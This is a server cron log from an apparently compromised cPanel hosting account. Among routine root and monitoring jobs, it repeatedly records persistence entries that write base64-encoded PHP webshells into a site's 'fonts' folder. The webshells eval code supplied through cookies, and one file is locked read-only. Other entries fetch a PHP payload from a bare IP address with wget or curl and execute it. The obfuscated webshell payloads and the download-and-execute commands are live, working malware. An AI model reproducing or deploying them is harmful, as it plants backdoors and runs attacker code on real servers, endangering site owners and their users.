Sep 10 01:33:01 ip-184-168-122-23 CROND[11551]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 01:33:01 ip-184-168-122-23 CROND[11552]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 01:34:01 ip-184-168-122-23 CROND[11636]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 01:34:01 ip-184-168-122-23 CROND[11637]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 01:34:01 ip-184-168-122-23 CROND[11640]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 01:34:01 ip-184-168-122-23 CROND[11641]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 01:34:01 ip-184-168-122-23 CROND[11643]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 01:35:01 ip-184-168-122-23 CROND[11735]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 01:35:01 ip-184-168-122-23 CROND[11741]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 01:35:01 ip-184-168-122-23 CROND[11738]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 01:35:01 ip-184-168-122-23 CROND[11739]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 01:35:01 ip-184-168-122-23 CROND[11742]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 01:35:01 ip-184-168-122-23 CROND[11740]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 10 01:35:01 ip-184-168-122-23 CROND[11743]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 01:35:01 ip-184-168-122-23 CROND[11744]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 01:36:01 ip-184-168-122-23 CROND[11932]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 01:36:01 ip-184-168-122-23 CROND[11933]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 01:36:01 ip-184-168-122-23 CROND[11934]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 01:36:01 ip-184-168-122-23 CROND[11937]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 01:36:01 ip-184-168-122-23 CROND[11936]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 01:37:01 ip-184-168-122-23 CROND[12032]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 01:37:01 ip-184-168-122-23 CROND[12036]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 01:37:01 ip-184-168-122-23 CROND[12034]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 01:37:01 ip-184-168-122-23 CROND[12035]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 01:38:01 ip-184-168-122-23 CROND[12141]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 01:38:01 ip-184-168-122-23 CROND[12144]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 01:38:01 ip-184-168-122-23 CROND[12143]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 01:38:01 ip-184-168-122-23 CROND[12145]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 01:38:01 ip-184-168-122-23 CROND[12146]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 01:39:02 ip-184-168-122-23 CROND[12237]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 01:39:02 ip-184-168-122-23 CROND[12238]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 01:39:02 ip-184-168-122-23 CROND[12251]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 01:39:02 ip-184-168-122-23 CROND[12254]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 01:39:02 ip-184-168-122-23 CROND[12252]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 10 01:40:01 ip-184-168-122-23 CROND[12342]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 01:40:01 ip-184-168-122-23 CROND[12345]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 01:40:01 ip-184-168-122-23 CROND[12347]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 01:40:02 ip-184-168-122-23 CROND[12350]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 01:40:02 ip-184-168-122-23 CROND[12353]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 01:40:02 ip-184-168-122-23 CROND[12354]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 01:40:02 ip-184-168-122-23 CROND[12352]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 01:40:02 ip-184-168-122-23 CROND[12351]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 01:41:01 ip-184-168-122-23 CROND[12442]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 01:41:01 ip-184-168-122-23 CROND[12444]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 01:41:01 ip-184-168-122-23 CROND[12445]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 01:41:01 ip-184-168-122-23 CROND[12443]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 01:42:01 ip-184-168-122-23 CROND[12520]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 01:42:01 ip-184-168-122-23 CROND[12524]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 01:42:01 ip-184-168-122-23 CROND[12522]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 01:42:01 ip-184-168-122-23 CROND[12523]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 01:42:01 ip-184-168-122-23 CROND[12525]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 01:43:01 ip-184-168-122-23 CROND[12698]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 01:43:01 ip-184-168-122-23 CROND[12696]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 01:43:01 ip-184-168-122-23 CROND[12697]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 01:43:01 ip-184-168-122-23 CROND[12699]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 01:44:01 ip-184-168-122-23 CROND[12784]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 01:44:01 ip-184-168-122-23 CROND[12786]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 01:44:01 ip-184-168-122-23 CROND[12789]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 01:44:01 ip-184-168-122-23 CROND[12787]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 01:44:01 ip-184-168-122-23 CROND[12788]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 01:45:02 ip-184-168-122-23 CROND[12902]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 01:45:02 ip-184-168-122-23 CROND[12904]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
